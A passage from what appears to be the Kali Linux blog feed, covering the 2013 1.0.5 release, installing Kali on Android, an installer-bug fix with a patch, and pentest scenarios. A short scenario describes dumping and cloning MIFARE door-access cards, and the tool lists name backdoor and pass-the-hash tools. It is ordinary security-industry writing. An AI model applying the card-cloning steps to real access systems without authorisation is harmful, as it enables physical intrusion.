&lt;/code>&lt;/pre></description></item><item><title>Kali Linux 1.0.5 and Software Defined Radio</title><link>https://www.kali.org/blog/kali-linux-1-0-5-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-5-release/</guid><pubDate>Thu, 05 Sep 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-5-release/images/kali-1.0.5-release.jpg" type="image/jpg"/><description>&lt;p>Today we are pleased to announce the immediate availability of &lt;a href="https://www.kali.org/get-kali/">Kali Linux 1.0.5&lt;/a> with a rollup of various &lt;a href="https://bugs.kali.org/changelog_page.php?version_id=2">tool additions, fixes, and upgrades&lt;/a>, including our fix for the encrypted &lt;a href="https://www.kali.org/blog/tracking-fixing-installer-bugs/">encrypted LVM installation issue&lt;/a> that we documented last week. As usual, users with Kali already installed just need to run a simple update to get the latest goodness:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;p>We&amp;rsquo;ve also received updated ARM images from OffSec, which bring several fixes to issues found in the 1.0.4 releases. Kali Linux has specific ARM images for 9 separate hardware devices/families, including the Raspberry Pi, Galaxy Note 10.1, BeagleBone Black, Odroid U2, Odroid XU (!) and more. While Kali Linux works on all the hardware above natively, don&amp;rsquo;t forget you can get Kali Linux installed on almost any Android phone or tablet.&lt;/p>
&lt;p>Software Defined Radio (SDR) researchers will be especially pleased to know that we have made some significant tool additions in this growing field. With some great input and suggestions from @NowSec, we placed a great deal of focus in the past few weeks on adding numerous SDR tools and drivers to our arsenal:&lt;/p>
&lt;ul>
&lt;li>kalibrate-rtl&lt;/li>
&lt;li>gr-air-modes&lt;/li>
&lt;li>RTLSDR Scanner&lt;/li>
&lt;li>gr-scan&lt;/li>
&lt;li>rtl-sdr&lt;/li>
&lt;li>Gqrx&lt;/li>
&lt;li>GR Extras&lt;/li>
&lt;li>gr-baz&lt;/li>
&lt;li>gr-osmosdr&lt;/li>
&lt;li>gr-iqbal&lt;/li>
&lt;li>gr-fcdproplus&lt;/li>
&lt;li>UHD support&lt;/li>
&lt;li>HackRF support&lt;/li>
&lt;li>RTL2832U support&lt;/li>
&lt;li>Funcube Dongle Pro+ support&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-5-release/images/SDR_menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-5-release/images/SDR_menu.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We also forked &lt;a href="https://www.gnuradio.org/redmine/projects/gnuradio/wiki">GNU Radio&lt;/a> from the Debian repositories and upgraded it to version 3.6.5.1, a task that sounds much simpler than it really is since its dependencies have dependencies.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-5-release/images/gnuradio-depends.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-5-release/images/gnuradio-depends.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We&amp;rsquo;re very pleased with the end result and these additions have given us the excuse to play around in the field of SDR, which is filled with great potential for research. This isn&amp;rsquo;t the end of our support for SDR, but only the beginning as we intend to combine our rock-solid stability with cutting edge device support to become the &lt;a href="http://needsec.com/kali-linux-improves-software-defined-radio-sdr-support/">best platform for SDR research&lt;/a> in the industry.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-1-0-5-release/images/gqrx-kali.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-1-0-5-release/images/gqrx-kali.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="but-wait-theres-more">But Wait, There&amp;rsquo;s More!&lt;/h2>
&lt;p>This release of Kali Linux isn&amp;rsquo;t only about SDR, though. For our users who love hacking NFC, we have also beefed up our suite of tools for manipulating MIFARE cards with updates to libnfc, mfoc, and mfcuk along with the addition of mfterm.&lt;/p>
&lt;p>We hope you enjoy this release as much as we enjoyed making it. For a complete list of what&amp;rsquo;s new in Kali Linux, be sure to check out the full &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> and if you have new tool suggestions or ideas on how we can make Kali even better, please submit them to the &lt;a href="https://bugs.kali.org/">Kali Linux Bug Tracker&lt;/a>.&lt;/p></description></item><item><title>Kali Linux on Android using Linux Deploy</title><link>https://www.kali.org/blog/kali-linux-android-linux-deploy/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-android-linux-deploy/</guid><pubDate>Tue, 03 Sep 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-android-linux-deploy/images/kali-android-deploy.jpg" type="image/jpg"/><description>&lt;h3 id="kali-linux-on-any-android-phone-or-tablet">Kali Linux on any Android Phone or Tablet&lt;/h3>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-android-linux-deploy/images/linux-deploy-kali-list-00.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-android-linux-deploy/images/linux-deploy-kali-list-00.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Getting Kali Linux to run on ARM hardware has been a major goal for us since day one. So far, we&amp;rsquo;ve built &lt;strong>native&lt;/strong> images for the Samsung Chromebook, Odroid U2, Raspberry Pi, RK3306, Galaxy Note 10.1, CuBox, Efika MX, and BeagleBone Black to name a few. This however does not mean you cannot install Kali Linux in a chroot on almost any modern device that runs Android. In fact, the developers of &lt;a href="https://play.google.com/store/apps/details?id=ru.meefik.linuxdeploy&amp;amp;hl=en">Linux Deploy&lt;/a> have made it extremely easy to get any number of Linux distributions installed in a chroot environment using a simple GUI builder.&lt;/p>
&lt;h5 id="prerequisites">Prerequisites&lt;/h5>
&lt;ul>
&lt;li>A device running Android 2.1 and above, rooted.&lt;/li>
&lt;li>At least 5 GB free space on internal or external storage.&lt;/li>
&lt;li>A fast, wireless internet connection.&lt;/li>
&lt;li>Patience to wait for a distribution to bootstrap from the network.&lt;/li>
&lt;/ul>
&lt;h5 id="configuring-linux-deploy-for-kali">Configuring Linux Deploy for Kali&lt;/h5>
&lt;p>There&amp;rsquo;s actually very little to be done to get Kali installed. By choosing &lt;strong>Kali Linux&lt;/strong> in the &amp;ldquo;&lt;strong>Distribution&lt;/strong>&amp;rdquo; tab, you&amp;rsquo;ve pretty much covered the important stuff. Optionally, you can choose your architecture, verify that the Kali mirror is correct, set your installation type and location on your Android device, etc. Generally speaking, the defaults provided by Linux Deploy are good to begin with.&lt;/p>
&lt;h5 id="building-the-kali-image">Building the Kali Image&lt;/h5>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-android-linux-deploy/images/install-kali-linux-deploy.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-android-linux-deploy/images/install-kali-linux-deploy.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Once you are happy with all the settings, hitting the &amp;ldquo;install&amp;rdquo; button will start a Kali Linux bootstrap directly from our repositories. Depending on your Internet connection speed, this process could take a while. You&amp;rsquo;ll be downloading a base install of Kali Linux (with no tools) at minimum.&lt;/p>
&lt;h5 id="starting-up-your-chrooted-kali">Starting up your chrooted Kali&lt;/h5>
&lt;p>Once the installation is complete, you can have Linux Deploy automatically mount and load up your Kali Linux chroot image. This also includes the starting of services such as SSH and VNC for easier remote access. All of this is automagically done by hitting the &amp;ldquo;&lt;strong>start&lt;/strong>&amp;rdquo; button. You should see Linux Deploy setting up your image with output similar to the following:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-android-linux-deploy/images/linux-deploy-mount.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-android-linux-deploy/images/linux-deploy-mount.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>At this stage, Linux Deploy has started a VNC and SSH server inside your chrooted Kali image. You can connect to the Kali session remotely using the IP address assigned to your Android device (in my case, 10.0.0.10).&lt;/p>
&lt;h5 id="logging-in-to-your-chrooted-kali">Logging in to your chrooted Kali&lt;/h5>
&lt;p>Now you can use either a SSH or VNC client to access your Kali instance. The VNC password is &amp;ldquo;&lt;strong>changeme&lt;/strong>&amp;rdquo; and the SSH credentials are &amp;ldquo;&lt;strong>android&lt;/strong>&amp;rdquo; for the username (configured via Linux Deploy) and &amp;ldquo;&lt;strong>changeme&lt;/strong>&amp;rdquo; as the password:&lt;/p>
&lt;pre>&lt;code class="language-console">muts@slim:~$ ssh android@10.0.0.10
android@10.0.0.10 password:
Linux localhost 3.4.5-447845 #1 SMP PREEMPT Fri Apr 12 17:22:34 KST 2013 armv7l
Kali GNU/Linux 1.0 [running on Android via Linux Deploy]
android@localhost:~$ sudo su
root@localhost:/home/android# df
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/loop3 4180944 667268 3304012 17% /
tmpfs 952708 80 952628 1% /dev
tmpfs 952708 0 952708 0% /dev/shm
root@localhost:/home/android#
root@localhost:/home/android# apt-get update
Hit http://http.kali.org kali Release.gpg
Hit http://http.kali.org kali Release
Hit http://http.kali.org kali/main Sources
Hit http://http.kali.org kali/contrib Sources
Hit http://http.kali.org kali/non-free Sources
Hit http://http.kali.org kali/main armel Packages
Hit http://http.kali.org kali/contrib armel Packages
Hit http://http.kali.org kali/non-free armel Packages
Ign http://http.kali.org kali/contrib Translation-en_US
Ign http://http.kali.org kali/contrib Translation-en
Ign http://http.kali.org kali/main Translation-en_US
Ign http://http.kali.org kali/main Translation-en
Ign http://http.kali.org kali/non-free Translation-en_US
Ign http://http.kali.org kali/non-free Translation-en
Reading package lists... Done
root@localhost:/home/android#
&lt;/code>&lt;/pre>
&lt;h5 id="image-size-considerations">Image Size Considerations&lt;/h5>
&lt;p>If left unchanged, Linux Deploy will automatically set an image size of around 4 GB, for a &amp;ldquo;naked&amp;rdquo; installation of Kali. If you would like to install additional Kali tools down the road, you might want to consider using a larger image size, which is configurable via the settings in Linux Deploy.&lt;/p>
&lt;h5 id="local-vnc-connections">Local VNC Connections&lt;/h5>
&lt;p>We had to try a couple of VNC clients to get one to work properly. Although controlling Kali through a local VNC client isn&amp;rsquo;t the most convenient of tasks, it certainly is possible. However, we suspect that most people will be SSH&amp;rsquo;ing into this instance. The picture below was overlayed with a Kali Linux desktop screenshot taken from a Galaxy S4.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-android-linux-deploy/images/galaxy-s4-kali-linux.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-android-linux-deploy/images/galaxy-s4-kali-linux.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Anyone fancy a simple smartphone &lt;a href="https://www.offsec.com/kali-linux/kali-linux-iso-of-doom/">hardware backdoor&lt;/a>?&lt;/p></description></item><item><title>Tracking and Fixing an Installer Bug</title><link>https://www.kali.org/blog/tracking-fixing-installer-bugs/</link><guid isPermaLink="true">https://www.kali.org/blog/tracking-fixing-installer-bugs/</guid><pubDate>Thu, 29 Aug 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/tracking-fixing-installer-bugs/images/kali-installer-bug.jpg" type="image/jpg"/><description>&lt;p>A little while back, a bug with the LVM encrypted install in Kali Linux 1.0.4 was &lt;a href="https://bugs.kali.org/view.php?id=443">reported&lt;/a> in our &lt;a href="https://www.kali.org/docs/community/submitting-issues-kali-bug-tracker/">bug tracker&lt;/a>. This bug was high priority in our TODO as encrypted installs are an important feature in our industry so we wanted to squash this bug ASAP. This article will describe the process of debugging, identifying, and fixing this bug in Kali, and ultimately in Debian as well.&lt;/p>
&lt;p>The bug itself was weird; installing Kali with the &amp;ldquo;LVM Encrypted&amp;rdquo; option would result in a failed boot once the installation was done:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/tracking-fixing-installer-bugs/images/kali-lvm-boot-bug.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/tracking-fixing-installer-bugs/images/kali-lvm-boot-bug.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The work-around suggested in the bug report indicated that the &lt;strong>/etc/crypttab&lt;/strong> file was empty. By manually remounting the encrypted partition, repopulating it with the required parameters, and then updating the initramfs, the machine would boot successfully into the encrypted partition again. Most definately annoying and far from practical.&lt;/p>
&lt;p>Now with the problem well defined, the solution seemed simple. Something was probably wrong with the way &lt;strong>/etc/crypttab&lt;/strong> gets updated during the installation process. Our next step was to investigate the scripts that are responsible for this update and see if there are any bugs in the file update process. But how would you locate the exact script responsible for this update and how could we figure out what package it lives in?&lt;/p>
&lt;p>To our rescue comes &lt;a href="https://wiki.debian.org/DebianInstaller/CheckOut">DebianInstaller&lt;/a>. Using this set of scripts, we checked out the whole DebianInstaller source tree. This would allow us to search for the scripts that affect &lt;strong>/etc/crypttab&lt;/strong> with much greater ease:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kalima:~# svn co svn://anonscm.debian.org/svn/d-i/trunk debian-installer
root@kalima:~# cd debian-installer
root@kalima:~/debian-installer# scripts/git-setup
root@kalima:~/debian-installer# mr -p checkout
&lt;/code>&lt;/pre>
&lt;p>Once all the repositories had been checked out, we could simply grep for any files that reference the &lt;strong>/etc/crypttab&lt;/strong> file as follows:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kalima:~/debian-installer# grep -r '/etc/crypttab' * |grep -v ^manual
...
packages/partman-crypto/finish.d/crypto_config:# dm-crypt: creates /etc/crypttab entries
packages/partman-crypto/finish.d/crypto_config: echo &amp;quot;$target $source $keyfile $opts&amp;quot; &amp;gt;&amp;gt; /target/etc/crypttab
...
root@kalima:~/debian-installer#
&lt;/code>&lt;/pre>
&lt;p>We see above that it&amp;rsquo;s the &amp;ldquo;&lt;strong>crypto_config&lt;/strong>&amp;rdquo; script that writes to &lt;strong>/etc/crypttab&lt;/strong>, which is located in the &lt;strong>partman-crypto&lt;/strong> package.&lt;/p>
&lt;p>Ideally, we would like to debug this script and see where the problem is, but how would you do this in a live installation media? The answer is relatively simple - we just had to pop open a command prompt during the installation process. The trick is to invoke our debugging shell (by pressing CTRL+ALT+F2) during the right stage of the installation - in our case we needed to interrupt the installer before the &lt;strong>crypto_config&lt;/strong> script was run but after the &lt;strong>partman-crypto&lt;/strong> udeb was installed, so the beginning of the partitioning process would be a good spot. We proceeded to edit the &lt;strong>/lib/partman/finish.d/55_crypto_config&lt;/strong> and added &amp;ldquo;&lt;strong>set -x&lt;/strong>&amp;rdquo; at the start of the script:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/tracking-fixing-installer-bugs/images/partman-script-debug.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/tracking-fixing-installer-bugs/images/partman-script-debug.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We then let the installer do its thing and just before the installation completed, we took a peek at &lt;strong>/var/log/syslog&lt;/strong> in another shell. To our surprise, we saw that the &lt;strong>/etc/crypttab&lt;/strong> file *was* being updated, contrary to our initial beliefs, as can be seen in the syslog of the installation. &lt;strong>WTH&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-plain">Aug 28 21:57:42 main-menu[954]: (process:9810): crypttab_add_entry
Aug 28 21:57:42 main-menu[954]: (process:9810): /dev/sda5
Aug 28 21:57:42 main-menu[954]: (process:9810): /var/lib/partman/devices/=dev=sda/256901120-160041009151
Aug 28 21:57:42 main-menu[954]: (process:9810): /dev/mapper/sda5_crypt
...
Aug 28 21:57:42 main-menu[954]: (process:9810): echo
Aug 28 21:57:42 main-menu[954]: (process:9810): sda5_crypt UUID=6250dbca-648b-4848-9132-cfa900ab5874 none luks
&lt;/code>&lt;/pre>
&lt;p>This is where we started scratching our heads. If the problem was not in the writing of this file (as we expected), then why was there an empty &lt;strong>/etc/crypttab&lt;/strong> file after the installation? Perhaps the problem was not in &lt;strong>partman-crypto&lt;/strong> after all, but in how &lt;strong>live-build&lt;/strong> generates our ISOs? We tested this theory of ours by using a Kali mini installation ISO (not built via live-build) and noticed that the LVM encrypted installs were working fine when using that installation media.&lt;/p>
&lt;p>We know that the live-installer uses &lt;em>tar&lt;/em> to copy the whole live filesystem into a mounted &lt;strong>/target&lt;/strong> directory and it assumes that the filesystems are empty, which is mostly true since they were just created by partman. This means that any pre-existing file can be overwritten if they are also in the live image, which was happening to &lt;strong>/etc/crypttab&lt;/strong> in this case.&lt;/p>
&lt;p>Further examination revealed that the problem was in &lt;strong>live-installer&lt;/strong>, whereby it overwrites the generated &lt;strong>/etc/crypttab&lt;/strong>. The live-installer already has some provisions to not overwrite &lt;strong>/etc/fstab&lt;/strong>, so it&amp;rsquo;s just a matter of generalizing that rule and including the &lt;strong>/etc/crypttab&lt;/strong> file as well:&lt;/p>
&lt;pre>&lt;code class="language-console">$ diff --git a/debian/live-installer.postinst b/debian/live-installer.postinst
index 9a39d8d..bc40b84 100644 (file)
--- a/debian/live-installer.postinst
+++ b/debian/live-installer.postinst
@@ -8,6 +8,8 @@ db_capb backup
# Architecture and OS detection
ARCH=`udpkg --print-architecture`
OS=`udpkg --print-os`
+# Files that must not be overwritten by copy of live system
+FILES_TO_PRESERVE=&amp;quot;/etc/fstab /etc/crypttab&amp;quot;
NEWLINE=&amp;quot;
&amp;quot;
@@ -34,11 +36,12 @@ install_live_system () {
# symlinks there.
rmdir /target/var/lock /target/var/run 2&amp;gt;/dev/null || true
- # Backup pre-existing /etc/fstab as it will be overwritten by the
- # copy of the live system
- if [ -e /target/etc/fstab ] &amp;amp;&amp;amp; [ ! -e /target/etc/fstab.live-installer ]; then
- mv /target/etc/fstab /target/etc/fstab.live-installer
- fi
+ # Backup files that should not be overwritten by the copy
+ for f in $FILES_TO_PRESERVE; do
+ if [ -e /target$f ] &amp;amp;&amp;amp; [ ! -e /target/${f}.live-installer ]; then
+ mv /target$f /target${f}.live-installer
+ fi
+ done
for place in $PLACES; do
[ ! -e $place ] &amp;amp;&amp;amp; continue
@@ -83,10 +86,12 @@ install_live_system () {
eval ${SUPPORT}_teardown
done
- # Restore the fstab file created by d-i
- if [ -e /target/etc/fstab.live-installer ]; then
- mv /target/etc/fstab.live-installer /target/etc/fstab
- fi
+ # Restore important configuration files
+ for f in $FILES_TO_PRESERVE; do
+ if [ -e /target${f}.live-installer ]; then
+ mv /target${f}.live-installer /target$f
+ fi
+ done
if [ ${PLACE_FOUND} -eq 0 ]; then
error &amp;quot;Could not find any live images&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>The above patch fixed the issue for us, allowing encrypted LVM installs to complete and boot successfully. As with any Debian bugs we encounter, we &lt;a href="https://salsa.debian.org/installer-team/live-installer/-/commit/17678631e40f9fe31791bf90394fa81d87cce615">send patches back to Debian&lt;/a> to improve the distribution we build upon. A fix for this installer bug will come out in our next point release (&lt;a href="https://bugs.kali.org/changelog_page.php">1.0.5&lt;/a>) next week. People generating their own ISO images though &lt;strong>live-build&lt;/strong> will automatically receive the fixed package.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/tracking-fixing-installer-bugs/images/installer-bug-fixed.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/tracking-fixing-installer-bugs/images/installer-bug-fixed.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p></description></item><item><title>Kali Linux - Penetration Testing Platform</title><link>https://www.kali.org/blog/kali-linux-penetration-testing-platform/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-penetration-testing-platform/</guid><pubDate>Wed, 31 Jul 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/kali-pentesting-platform.jpg" type="image/jpg"/><description>&lt;p>Whenever we are given the opportunity to describe Kali Linux, we use the word &amp;ldquo;&lt;strong>powerful&lt;/strong>&amp;rdquo;. Have you ever wondered or asked yourself why exactly we consider Kali to be so &amp;ldquo;Powerful&amp;rdquo;? Why is Kali any different or better from say, an Ubuntu machine with a bunch of security tools preinstalled on it? After all, &lt;strong>our nmap package isn&amp;rsquo;t any better than anyone else&amp;rsquo;s, is it&lt;/strong>?&lt;/p>
&lt;h3 id="flexible-penetration-testing-platform">Flexible Penetration Testing Platform&lt;/h3>
&lt;p>One of the major benefits of Kali Linux is that &lt;strong>it&amp;rsquo;s not merely a bunch of tools&lt;/strong> pre-packaged into a Linux distribution. &lt;strong>Kali is a real &amp;ldquo;Penetration Testing Platform&amp;rdquo;&lt;/strong> - and that&amp;rsquo;s not just a cool buzzword we use. Derived from the rock solid Debian platform, Kali is flexible enough to provide features such as:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;strong>Rolling distribution with seamless updates and upgrades.&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Automated installations using preseed files including network and PXE installs.&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Ability to easily create custom Kali images using live-build, with multiple WM support.&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Whole disk encryption during installation.&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Multiple ARM images for a wide variety of hardware&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Accessibility support for blind and visually impaired users.&lt;/strong>&lt;/strong>&lt;/li>
&lt;li>&lt;strong>&lt;strong>Bleeding edge repositories.&lt;/strong>&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Each one of these features provides multiple interesting opportunities for penetration testers, security auditors, and forensics folks alike. We would like to present a few simple scenarios which we had the opportunity to implement, demonstrating just how powerful Kali Linux can be.&lt;/p>
&lt;h3 id="scenario-1---simple-deployment-of-kali-scanning-agents">Scenario 1 - Simple Deployment of Kali Scanning Agents&lt;/h3>
&lt;p>Consider the following scenario - you are a security administrator of a multi-national corporation. You are asked to run a vulnerability scan on each of your twelve offices, located in different parts of the world. Naturally, you have an insignificant budget to complete this task and the VA results need to be submitted to management ASAP. How would you go about accomplishing this task? This would be the &amp;ldquo;Kali&amp;rdquo; way:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Deploy a minimal installation of Kali &amp;ldquo;agents&amp;rdquo; using a PXE setup and a preseed file to all locations. The agent should include an OpenSSH server, Metasploit, and OpenVAS. If this is not possible in some of your offices, you can easily create a custom Kali ISO using a live build recipe and have Kali installed in those locations manually. Either way, Kali should be configured to automatically start the SSH, metasploit, msfrpcd, and openvas services at boot time.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Once all our Kali agents are up and running, we connect to the msfrpcd service on each of them and use the metasploit to openvas bridge to kick off a local vulnerability scan in each geographic location. Once the scans are complete, we can either download the scan reports from each location, or choose to verify the exploitability of the discovered vulnerabilities by importing our scans into Metasploit and logging any successful sessions which are created.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/multiple-scans.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/multiple-scans.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="scenario-2---battery-powered-portable-mifare-rfid-card-cloner">Scenario 2 - Battery Powered Portable Mifare RFID Card Cloner&lt;/h3>
&lt;p>Suppose for a moment that you are a security auditor tasked to test a standard Mifare-based door system. You want to be able to dump the contents of a valid RFID card in the system in order to clone it later on. You have only a few minutes to preform the cloning task once you&amp;rsquo;ve been handed the valid card.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Install Kali Linux on an SS808 arm device, powered by a lithium battery and loop an NFC tool such as &lt;strong>mfoc&lt;/strong> to dump any card presented to it, saving the dumps on a local SD card.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Once dumped, use the Mifare card data to create a clone of the original card - task completed!&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/nfc-rig-kali1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/nfc-rig-kali1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="scenario-3---portable-penetration-testing-toolkit">Scenario 3 - Portable Penetration Testing Toolkit&lt;/h3>
&lt;p>Alright, now we&amp;rsquo;re just showing off, we know! But this screenshot was too cool to just ignore, so we had to post it.&lt;/p>
&lt;ul>
&lt;li>Consider running your favorite web based security tool, such as OpenVAS, or &lt;strong>Metasploit Pro&lt;/strong> directly from your tablet. With 4 or 8 cores, working on small ARM devices is no longer the slow and painful process it once was.&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/msfpro2.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-penetration-testing-platform/images/msfpro2.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kali-linux---a-flexible-powerful-penetration-testing-platform">Kali Linux - A flexible, Powerful Penetration Testing Platform&lt;/h3>
&lt;p>Hopefully, these brief scenarios will spark your imagination and encourage you to explore all that Kali Linux has to offer and make you realize that the distribution is more than just a bunch of tools cobbled together haphazardly. We are very proud of our distribution and are committed to making it the best it can possibly be thanks to the help and suggestions of the security community.&lt;/p></description></item><item><title>Kali Linux 1.0.4 Summer Update Release</title><link>https://www.kali.org/blog/kali-linux-1-0-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-0-4-release/</guid><pubDate>Thu, 25 Jul 2013 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-0-4-release/images/kali-1.0.4-release.jpg" type="image/jpg"/><description>&lt;p>In keeping with our tradition of publishing new releases during the annual &lt;a href="https://www.blackhat.com/">Black Hat&lt;/a> and &lt;a href="https://www.defcon.org/">DEF CON&lt;/a> conferences, we are pleased to announce the availability of &lt;a href="https://www.kali.org/get-kali/">Kali Linux 1.0.4&lt;/a>. The last few months since the initial release of Kali have seen a large number of changes, upgrades, and improvements in the distribution, all of which are included in version 1.0.4.&lt;/p>
&lt;h3 id="penetration-testing-tool-additions">Penetration Testing Tool Additions&lt;/h3>
&lt;p>Thanks to numerous requests from the Kali Linux community on the Kali Bug Tracker, we have added many new tools to Kali&amp;rsquo;s arsenal, including:&lt;/p>
&lt;h3 id="penetration-testing-tool-updates">Penetration Testing Tool Updates&lt;/h3>
&lt;p>In addition to the new tools that we have added to the distribution, version 1.04 of Kali Linux also contains many upgraded packages. Some of the more notable updates are:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Winexe&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=302">Pass the Hash Toolkit&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=322">enum4linux&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=246">RegRipper&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>rfcat&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=388">Unicornscan&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=120">jSQL&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=171">JD-GUI&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Ubertooth&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=150">Ghost Phisher&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=154">Uniscan&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=121">Arachni&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=110">Bully&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=290">OpenVAS&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=82">Volatility&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=363">Durandal&amp;rsquo;s Backdoor&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://paterva.com/web6/products/maltego.php">Maltego&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;a href="https://bugs.kali.org/view.php?id=325">OWASP ZAP&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
